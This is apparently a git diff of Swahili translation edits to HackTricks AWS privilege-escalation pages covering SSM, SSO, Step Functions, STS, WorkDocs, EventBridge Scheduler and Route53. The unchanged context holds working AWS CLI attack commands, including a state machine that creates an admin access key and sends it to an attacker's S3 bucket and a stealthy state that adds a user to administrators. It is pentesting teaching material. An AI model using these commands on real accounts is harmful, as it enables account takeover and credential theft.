-45,21 +45,21 @@ aws ssm describe-sessions --state Active aws ssm start-session --target "$INSTANCE_ID" ``` > [!CAUTION] -> Ili kuanza kikao unahitaji **SessionManagerPlugin** iliyosakinishwa: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Ili kuanzisha kikao unahitaji **SessionManagerPlugin** iliyosakinishwa: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa EC2 IAM roles zilizounganishwa na mifano inayotembea yenye SSM Agents inayoendesha. +**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa EC2 IAM roles zilizounganishwa na mifano inayotembea yenye SSM Agents inayoendesha. #### Privesc kwa ECS -Wakati **ECS tasks** zinapokimbia na **`ExecuteCommand` imewezeshwa** watumiaji wenye ruhusa za kutosha wanaweza kutumia `ecs execute-command` ili **kutekeleza amri** ndani ya kontena.\ -Kulingana na [**nyaraka**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) hii inafanywa kwa kuunda channel salama kati ya kifaa unachotumia kuanzisha amri ya “_exec_“ na kontena lengwa na SSM Session Manager. (SSM Session Manager Plugin inahitajika ili hii ifanye kazi)\ -Hivyo, watumiaji wenye `ssm:StartSession` wataweza **kupata shell ndani ya ECS tasks** na chaguo hicho kikiwa kimewezeshwa kwa kukimbia: +Wakati **ECS tasks** zinapokimbia na **`ExecuteCommand` imewezeshwa**, watumiaji wenye ruhusa za kutosha wanaweza kutumia `ecs execute-command` ili **kutekeleza amri** ndani ya kontena.\ +Kulingana na [**nyaraka**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) hii inafanywa kwa kuunda channel salama kati ya kifaa unachotumia kuanzisha amri ya “_exec_” na kontena lengwa na SSM Session Manager. (SSM Session Manager Plugin inahitajika ili hii ifanye kazi)\ +Hivyo, watumiaji wenye `ssm:StartSession` wataweza **kupata shell ndani ya ECS tasks** ikiwa chaguo hicho kimewezeshwa kwa kukimbia: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa `ECS`IAM roles zilizounganishwa na kazi zinazotembea zikiwa na `ExecuteCommand` iliyoanzishwa. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa `ECS`IAM roles zilizounganishwa na kazi zinazotembea zikiwa na `ExecuteCommand` imewezeshwa. ### `ssm:ResumeSession` @@ -76,7 +76,7 @@ aws ssm resume-session \ ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -Mshambuliaji mwenye ruhusa zilizoelezwa atakuwa na uwezo wa kuorodhesha **SSM parameters** na **kuzisoma kwa maandiko wazi**. Katika vigezo hivi unaweza mara nyingi **kupata taarifa nyeti** kama funguo za SSH au funguo za API. +Mshambuliaji mwenye ruhusa zilizoelezwa atakuwa na uwezo wa kuorodhesha **SSM parameters** na **kuvisoma kwa maandiko wazi**. Katika vigezo hivi unaweza mara nyingi **kupata taarifa nyeti** kama funguo za SSH au funguo za API. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" @@ -95,7 +95,7 @@ aws ssm list-commands ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -Mshambuliaji mwenye ruhusa hizi anaweza orodhesha **amri** zote zilizotumwa na **kusoma matokeo** yaliyotolewa akitumaini kupata **taarifa nyeti** ndani yake. +Mshambuliaji mwenye ruhusa hizi anaweza kuorodhesha **amri** zote zilizotumwa na **kusoma matokeo** yaliyotolewa akitumaini kupata **taarifa nyeti** ndani yake. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -103,7 +103,7 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya matokeo ya mistari ya amri. +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya matokeo ya amri za mistari. ### Codebuild diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 49d16dbed..39c5eb5bb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -11,9 +11,9 @@ Kwa maelezo zaidi kuhusu AWS Identity Center / AWS SSO angalia: {{#endref}} > [!WARNING] -> Kumbuka kwamba kwa **kawaida**, ni **watumiaji** pekee wenye ruhusa **kutoka** kwa **Akaunti ya Usimamizi** watakuwa na uwezo wa kufikia na **kudhibiti Kituo cha Utambulisho wa IAM**.\ -> Watumiaji kutoka akaunti nyingine wanaweza tu kuruhusiwa ikiwa akaunti hiyo ni **Msimamizi wa Wawakilishi.**\ -> [Angalia hati kwa maelezo zaidi.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> Kumbuka kwamba kwa **default**, ni **watumiaji** pekee wenye ruhusa **kutoka** kwenye **Management Account** watakuwa na uwezo wa kufikia na **kudhibiti IAM Identity Center**.\ +> Watumiaji kutoka akaunti nyingine wanaweza tu kuruhusiwa ikiwa akaunti hiyo ni **Delegated Adminstrator.**\ +> [Angalia nyaraka kwa maelezo zaidi.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) ### ~~Reset Password~~ @@ -27,7 +27,7 @@ aws identitystore create-group-membership --identity-store-id --group- ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Mshambuliaji mwenye ruhusa hii anaweza kutoa ruhusa za ziada kwa Seti ya Ruhusa ambayo imetolewa kwa mtumiaji chini ya udhibiti wake. +Mshambuliaji mwenye ruhusa hii anaweza kutoa ruhusa za ziada kwa Seti ya Ruhusa ambayo imetolewa kwa mtumiaji chini ya udhibiti wake ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -63,7 +63,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio Mshambuliaji mwenye ruhusa hii anaweza kutoa ruhusa za ziada kwa Seti ya Ruhusa ambayo imetolewa kwa mtumiaji chini ya udhibiti wake. > [!WARNING] -> Ili kutumia vibaya ruhusa hizi katika kesi hii unahitaji kujua **jina la sera inayosimamiwa na mteja ambayo iko ndani ya AKAUNTI ZOTE** ambazo zitakazoathiriwa. +> Ili kutumia vibaya ruhusa hizi katika kesi hii unahitaji kujua **jina la sera inayosimamiwa na mteja ambayo iko ndani ya AKAUNTI ZOTE** ambazo zitakathiriwa. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -79,11 +79,11 @@ aws sso-admin create-account-assignment --instance-arn --target-i ``` ### `sso:GetRoleCredentials` -Inarudisha STS muda mfupi wa akiba kwa jina la jukumu lililotolewa kwa mtumiaji. +Inarudisha akiba za muda mfupi za STS kwa jina la jukumu lililotolewa kwa mtumiaji. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -Hata hivyo, unahitaji tokeni ya ufikiaji ambayo sija hakika jinsi ya kupata (TODO). +Hata hivyo, unahitaji token ya ufikiaji ambayo sijaweka wazi jinsi ya kupata (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` @@ -99,13 +99,13 @@ aws sso-admin detach-customer-managed-policy-reference-from-permission-set --ins ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -Mshambuliaji mwenye ruhusa hii anaweza kuondoa ruhusa kutoka kwa sera ya ndani kutoka kwa seti ya ruhusa. Inawezekana kutoa **haki zaidi kupitia kuondoa sera ya ndani (sera ya kukataa)**. +Mshambuliaji mwenye ruhusa hii anaweza kuondoa ruhusa kutoka kwa sera ya ndani kutoka kwa seti ya ruhusa. Inawezekana kutoa **ruhusa zaidi kupitia kuondoa sera ya ndani (sera ya kukataa)**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` ### `sso:DeletePermissionBoundaryFromPermissionSet` -Mshambuliaji mwenye ruhusa hii anaweza kuondoa Mipaka ya Ruhusa kutoka kwa seti ya ruhusa. Inawezekana kutoa **haki zaidi kwa kuondoa vizuizi kwenye Seti ya Ruhusa** vilivyotolewa kutoka kwa Mipaka ya Ruhusa. +Mshambuliaji mwenye ruhusa hii anaweza kuondoa Mipaka ya Ruhusa kutoka kwa seti ya ruhusa. Inawezekana kutoa **ruhusa zaidi kwa kuondoa vizuizi kwenye Seti ya Ruhusa** vilivyotolewa kutoka kwa Mipaka ya Ruhusa. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index a6dcd1e78..38551082b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -18,7 +18,7 @@ Ili kuangalia vitendo vyote vinavyowezekana, unaweza kwenda kwenye akaunti yako
-Au unaweza pia kwenda kwenye hati za API za AWS na kuangalia hati za kila kitendo: +Au unaweza pia kwenda kwenye hati za API AWS na kuangalia hati za kila kitendo: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) @@ -29,7 +29,7 @@ Mshambuliaji mwenye ruhusa za **`states:TestState`** & **`iam:PassRole`** anawez ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Mifano ifuatayo inaonyesha jinsi ya kujaribu hali inayounda ufunguo wa ufikiaji kwa mtumiaji **`admin`** kwa kutumia ruhusa hizi na jukumu lenye ruhusa nyingi katika mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu iliyounganishwa nayo (kwa mfano **`arn:aws:iam::aws:policy/AdministratorAccess`**) inayoruhusu hali hiyo kutekeleza kitendo cha **`iam:CreateAccessKey`**: +Mifano ifuatayo inaonyesha jinsi ya kujaribu hali inayounda ufunguo wa upatikanaji kwa mtumiaji wa **`admin`** kwa kutumia ruhusa hizi na jukumu lenye ruhusa nyingi katika mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu iliyounganishwa nayo (kwa mfano **`arn:aws:iam::aws:policy/AdministratorAccess`**) inayoruhusu hali hiyo kutekeleza kitendo cha **`iam:CreateAccessKey`**: - **stateDefinition.json**: ```json @@ -42,7 +42,7 @@ Mifano ifuatayo inaonyesha jinsi ya kujaribu hali inayounda ufunguo wa ufikiaji "End": true } ``` -- **Amri** iliyotekelezwa ili kufanya privesc: +- **Amri** iliyotekelezwa kufanya privesc: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Mshambuliaji mwenye **`states:CreateStateMachine`**& **`iam:PassRole`** angeweza kuunda mashine ya hali na kutoa kwake jukumu lolote la IAM, kuruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za jukumu hilo. Kinyume na mbinu ya awali ya privesc (**`states:TestState`** & **`iam:PassRole`**), hii haitekelezi yenyewe, utahitaji pia kuwa na ruhusa za **`states:StartExecution`** au **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **haipatikani kwa mifumo ya kazi ya kawaida**, **ni kwa mashine za hali tu**) ili kuanza na utekelezaji juu ya mashine ya hali. +Mshambuliaji mwenye **`states:CreateStateMachine`** & **`iam:PassRole`** angeweza kuunda mashine ya hali na kutoa jukumu lolote la IAM, kuruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za majukumu hayo. Tofauti na mbinu ya awali ya privesc (**`states:TestState`** & **`iam:PassRole`**), hii haitekelezi yenyewe, utahitaji pia kuwa na ruhusa za **`states:StartExecution`** au **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **haipatikani kwa mifumo ya kazi ya kawaida**, **ni kwa mashine za hali tu**) ili kuanza na utekelezaji juu ya mashine ya hali. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. +Mifano hii inaonyesha jinsi ya kuunda mashine ya hali inayounda ufunguo wa ufikiaji kwa mtumiaji **`admin`** na kuhamasisha ufunguo huu wa ufikiaji kwenye kikasha cha S3 kinachodhibitiwa na mshambuliaji, ikitumia ruhusa hizi na jukumu lenye ruhusa nyingi la mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu inayohusishwa nayo (kwa mfano **`arn:aws:iam::aws:policy/AdministratorAccess`**) inayoruhusu mashine ya hali kufanya vitendo vya **`iam:CreateAccessKey`** & **`s3:putObject`**. - **stateMachineDefinition.json**: ```json @@ -115,7 +115,7 @@ The following examples show how to create an state machine that creates an acces } } ``` -- **Amri** iliyotekelezwa ili **kuunda mashine ya hali**: +- **Amri** iliyotekelezwa kuunda **mashine ya hali**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { @@ -134,24 +134,24 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 > [!WARNING] > S3 bucket inayodhibitiwa na mshambuliaji inapaswa kuwa na ruhusa za kukubali hatua ya s3:PutObject kutoka kwa akaunti ya mwathirika. -**Madhara Yanayoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa mifumo ya kazi na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama. +**Athari Zinazoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa workflows na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama. ### `states:UpdateStateMachine` & (sio lazima kila wakati) `iam:PassRole` -Mshambuliaji mwenye ruhusa ya **`states:UpdateStateMachine`** angeweza kubadilisha ufafanuzi wa mashine ya hali, akiwa na uwezo wa kuongeza hali za siri ambazo zinaweza kuishia katika kupandisha hadhi. Kwa njia hii, wakati mtumiaji halali anapoanza utekelezaji wa mashine ya hali, hali hii mpya ya uhalifu itatekelezwa na kupandisha hadhi kutafanikiwa. +Mshambuliaji mwenye ruhusa ya **`states:UpdateStateMachine`** angeweza kubadilisha ufafanuzi wa mashine ya hali, akiwa na uwezo wa kuongeza hali za siri ambazo zinaweza kuishia katika kupandisha hadhi. Kwa njia hii, wakati mtumiaji halali anapoanza utekelezaji wa mashine ya hali, hali hii mpya ya siri itatekelezwa na kupandisha hadhi kutafanikiwa. Kulingana na jinsi ruhusa ilivyo kubwa kwa IAM Role inayohusishwa na mashine ya hali, mshambuliaji angeweza kukutana na hali 2: -1. **IAM Role yenye Ruhusa Kubwa**: Ikiwa IAM Role inayohusishwa na mashine ya hali tayari ina ruhusa kubwa (ina mfano sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyoambatanishwa), basi ruhusa ya **`iam:PassRole`** haitahitajika ili kupandisha hadhi kwani haitakuwa muhimu pia kubadilisha IAM Role, kwa kuwa ufafanuzi wa mashine ya hali unatosha. +1. **IAM Role yenye Ruhusa Kubwa**: Ikiwa IAM Role inayohusishwa na mashine ya hali tayari ina ruhusa kubwa (ina mfano sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyounganishwa), basi ruhusa ya **`iam:PassRole`** haitahitajika ili kupandisha hadhi kwani haitakuwa muhimu pia kubadilisha IAM Role, kwa kuwa ufafanuzi wa mashine ya hali unatosha. 2. **IAM Role Isiyo na Ruhusa Kubwa**: Kinyume na kesi ya awali, hapa mshambuliaji pia atahitaji ruhusa ya **`iam:PassRole`** kwani itakuwa muhimu kuunganisha IAM Role yenye ruhusa kubwa na mashine ya hali pamoja na kubadilisha ufafanuzi wa mashine ya hali. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Mifano ifuatayo inaonyesha jinsi ya kuboresha mashine halali ya hali ambayo inaita tu kazi ya Lambda ya HelloWorld, ili kuongeza hali ya ziada ambayo inaongeza mtumiaji **`unprivilegedUser`** kwenye Kundi la IAM **`administrator`**. Kwa njia hii, wakati mtumiaji halali anaanzisha utekelezaji wa mashine ya hali iliyoboreshwa, hali hii mpya ya siri itatekelezwa na kupandishwa kwa mamlaka kutafanikiwa. > [!WARNING] -> Ikiwa mashine ya hali haina Rol ya IAM inayoruhusu, itahitajika pia ruhusa ya **`iam:PassRole`** ili kuboresha Rol ya IAM ili kuunganisha Rol ya IAM inayoruhusu (kwa mfano moja yenye sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyoambatanishwa). +> Ikiwa mashine ya hali haina Rol ya IAM inayoruhusu, itahitajika pia ruhusa ya **`iam:PassRole`** kuboresha Rol ya IAM ili kuunganisha Rol ya IAM inayoruhusu (kwa mfano moja yenye sera ya **`arn:aws:iam::aws:policy/AdministratorAccess`** iliyounganishwa). {{#tabs }} {{#tab name="Legit State Machine" }} @@ -181,7 +181,7 @@ The following examples show how to update a legit state machine that just invoke ``` {{#endtab }} -{{#tab name="Mashine ya Hali Iliyosasishwa Mbaya" }} +{{#tab name="Mashine ya Hali Iliyosasishwa ya Uhalifu" }} ```json { "Comment": "Hello world from Lambda state machine", @@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**Madhara Yanayoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa michakato na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama. +**Madhara Yanayoweza Kutokea**: Utekelezaji usioidhinishwa na upotoshaji wa mifumo ya kazi na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index ccba2b273..163ce4662 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,7 +6,7 @@ ### `sts:AssumeRole` -Kila jukumu linaumbwa na **sera ya kuamini jukumu**, sera hii inaonyesha **nani anaweza kuchukua jukumu lililoundwa**. Ikiwa jukumu kutoka kwa **akaunti ile ile** linasema kwamba akaunti inaweza kulichukua, inamaanisha kwamba akaunti hiyo itakuwa na uwezo wa kufikia jukumu hilo (na kwa uwezekano **privesc**). +Kila jukumu linaumbwa na **sera ya kuamini jukumu**, sera hii inaonyesha **nani anaweza kuchukua jukumu lililoundwa**. Ikiwa jukumu kutoka **akaunti ile ile** linasema kwamba akaunti inaweza kulichukua, inamaanisha kwamba akaunti hiyo itakuwa na uwezo wa kufikia jukumu hilo (na kwa uwezekano **privesc**). Kwa mfano, sera ifuatayo ya kuamini jukumu inaonyesha kwamba mtu yeyote anaweza kulichukua, hivyo basi **mtumiaji yeyote ataweza privesc** kwa ruhusa zinazohusiana na jukumu hilo. ```json @@ -23,23 +23,23 @@ Kwa mfano, sera ifuatayo ya kuamini jukumu inaonyesha kwamba mtu yeyote anaweza ] } ``` -Unaweza kujifanya kuwa jukumu ukikimbia: +Unaweza kujifanya kuwa jukumu linalotembea: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` **Madhara Yanayoweza Kutokea:** Privesc kwa jukumu. > [!CAUTION] -> Kumbuka kwamba katika kesi hii ruhusa `sts:AssumeRole` inahitaji kuwa **imeonyeshwa katika jukumu la kutumia vibaya** na si katika sera inayomilikiwa na mshambuliaji.\ +> Kumbuka kwamba katika kesi hii ruhusa `sts:AssumeRole` inahitaji kuwa **imeonyeshwa katika jukumu la kutumia vibaya** na sio katika sera inayomilikiwa na mshambuliaji.\ > Kwa ubaguzi mmoja, ili **kuchukua jukumu kutoka akaunti tofauti** akaunti ya mshambuliaji **pia inahitaji** kuwa na **`sts:AssumeRole`** juu ya jukumu. ### **`sts:GetFederationToken`** -Kwa ruhusa hii inawezekana kuzalisha akreditif za kujifanya mtumiaji yeyote: +Kwa ruhusa hii inawezekana kuzalisha akidi za kujifanya kuwa mtumiaji yeyote: ```bash aws sts get-federation-token --name ``` -Hii ndiyo njia ambayo ruhusa hii inaweza kutolewa kwa usalama bila kutoa ufikiaji wa kujifanya kama watumiaji wengine: +Hii ndiyo njia ambayo ruhusa hii inaweza kutolewa kwa usalama bila kutoa ufikiaji wa kujifanya kuwa watumiaji wengine: ```json { "Version": "2012-10-17", @@ -78,7 +78,7 @@ Mfano wa sera ya kuaminiana yenye ruhusa hii ni: ] } ``` -Ili kuzalisha akreditif za kujifanya kuwa na jukumu kwa ujumla unaweza kutumia kitu kama: +Ili kuunda akreditif za kujifanya kuwa na jukumu kwa ujumla unaweza kutumia kitu kama: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index b9a87779b..64781395e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -15,9 +15,9 @@ Unda mtumiaji ndani ya Directory iliyoonyeshwa, kisha utakuwa na ufikiaji wa Wor # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)` -Faili zinaweza kuwa na taarifa nyeti, zisome: +Faili yanaweza kuwa na taarifa nyeti, yasome: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -30,7 +30,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -Ikiwa huna ruhusa ya kusoma kitu, unaweza tu kukipatia. +Ikiwa huna ufikiaji wa kusoma kitu, unaweza tu kukipatia ruhusa. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 2d2d9b0af..c526d9a86 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -14,7 +14,7 @@ Maelezo zaidi kuhusu EventBridge Scheduler katika: Mshambuliaji mwenye ruhusa hizo ataweza **`kuunda`|`kupdate` ratiba na kutumia ruhusa za jukumu la ratiba** lililounganishwa nayo kufanya kitendo chochote -Kwa mfano, wanaweza kuweka ratiba ili **kuitisha kazi ya Lambda** ambayo ni kitendo kilichotolewa: +Kwa mfano, wanaweza kuweka ratiba ili **kuitisha kazi ya Lambda** ambayo ni kitendo kilichopangwa: ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -Katika kuongeza hatua za huduma zilizotengenezwa, unaweza kutumia **universal targets** katika EventBridge Scheduler ili kuitisha anuwai kubwa ya operesheni za API kwa huduma nyingi za AWS. Universal targets hutoa kubadilika kuitisha karibu API yoyote. Mfano mmoja unaweza kuwa kutumia universal targets kuongeza "**AdminAccessPolicy**", kwa kutumia jukumu ambalo lina sera ya "**putRolePolicy**": +Mbali na hatua za huduma zilizotengenezwa, unaweza kutumia **lengo la ulimwengu** katika EventBridge Scheduler kuanzisha anuwai ya operesheni za API kwa huduma nyingi za AWS. Lengo la ulimwengu linatoa kubadilika kuanzisha karibu kila API. Mfano mmoja unaweza kuwa kutumia lengo la ulimwengu kuongeza "**AdminAccessPolicy**", ukitumia jukumu ambalo lina sera ya "**putRolePolicy**": ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index 86a930eea..434af6fc7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -13,20 +13,20 @@ Kwa maelezo zaidi kuhusu Route53 angalia: > [!NOTE] > Ili kutekeleza shambulio hili, akaunti ya lengo lazima iwe tayari na [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** iliyowekwa katika akaunti, na EC2 instances katika VPC(s) lazima ziwe tayari zimeagiza vyeti ili kuviamini. Kwa miundombinu hii kuwepo, shambulio lifuatalo linaweza kutekelezwa ili kukamata trafiki ya AWS API. -Mamlaka mengine **yanapendekezwa lakini si ya lazima kwa sehemu ya utafutaji**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` +Ruhusa nyingine **zinapendekezwa lakini hazihitajiki kwa sehemu ya utafutaji**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Tukidhani kuna AWS VPC yenye programu nyingi za asili ya wingu zinazowasiliana na kila mmoja na AWS API. Kwa kuwa mawasiliano kati ya microservices mara nyingi yana TLS iliyosimbwa, lazima kuwe na CA ya kibinafsi kutoa vyeti halali kwa huduma hizo. **Ikiwa ACM-PCA inatumika** kwa hilo na adui anafanikiwa kupata **ufikiaji wa kudhibiti wote route53 na acm-pca private CA** kwa seti ndogo ya mamlaka iliyoelezwa hapo juu, inaweza **kuchukua wito wa programu kwa AWS API** ikichukua mamlaka yao ya IAM. +Tukidhani kuna AWS VPC yenye programu nyingi za asili ya wingu zinazozungumza kati yao na AWS API. Kwa kuwa mawasiliano kati ya microservices mara nyingi yana TLS encrypted, lazima kuwe na CA ya kibinafsi kutoa vyeti halali kwa huduma hizo. **Ikiwa ACM-PCA inatumika** kwa hilo na adui anafanikiwa kupata **ufikiaji wa kudhibiti wote route53 na acm-pca private CA** kwa ruhusa ndogo zilizoorodheshwa hapo juu, inaweza **kuchukua wito wa programu kwa AWS API** ikichukua ruhusa zao za IAM. Hii inawezekana kwa sababu: - AWS SDKs haina [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) - Route53 inaruhusu kuunda Private Hosted Zone na rekodi za DNS kwa majina ya kikoa ya AWS APIs -- CA ya kibinafsi katika ACM-PCA haiwezi kupunguzia tu kusaini vyeti kwa Majina ya Pamoja maalum +- Private CA katika ACM-PCA haiwezi kupunguzia tu kusaini vyeti kwa Majina ya Pamoja maalum **Athari Zinazoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kukamata taarifa nyeti katika trafiki. -#### Exploitation +#### Utekelezaji -Pata hatua za unyakuzi katika utafiti wa asili: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) +Pata hatua za utekelezaji katika utafiti wa asili: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) {{#include 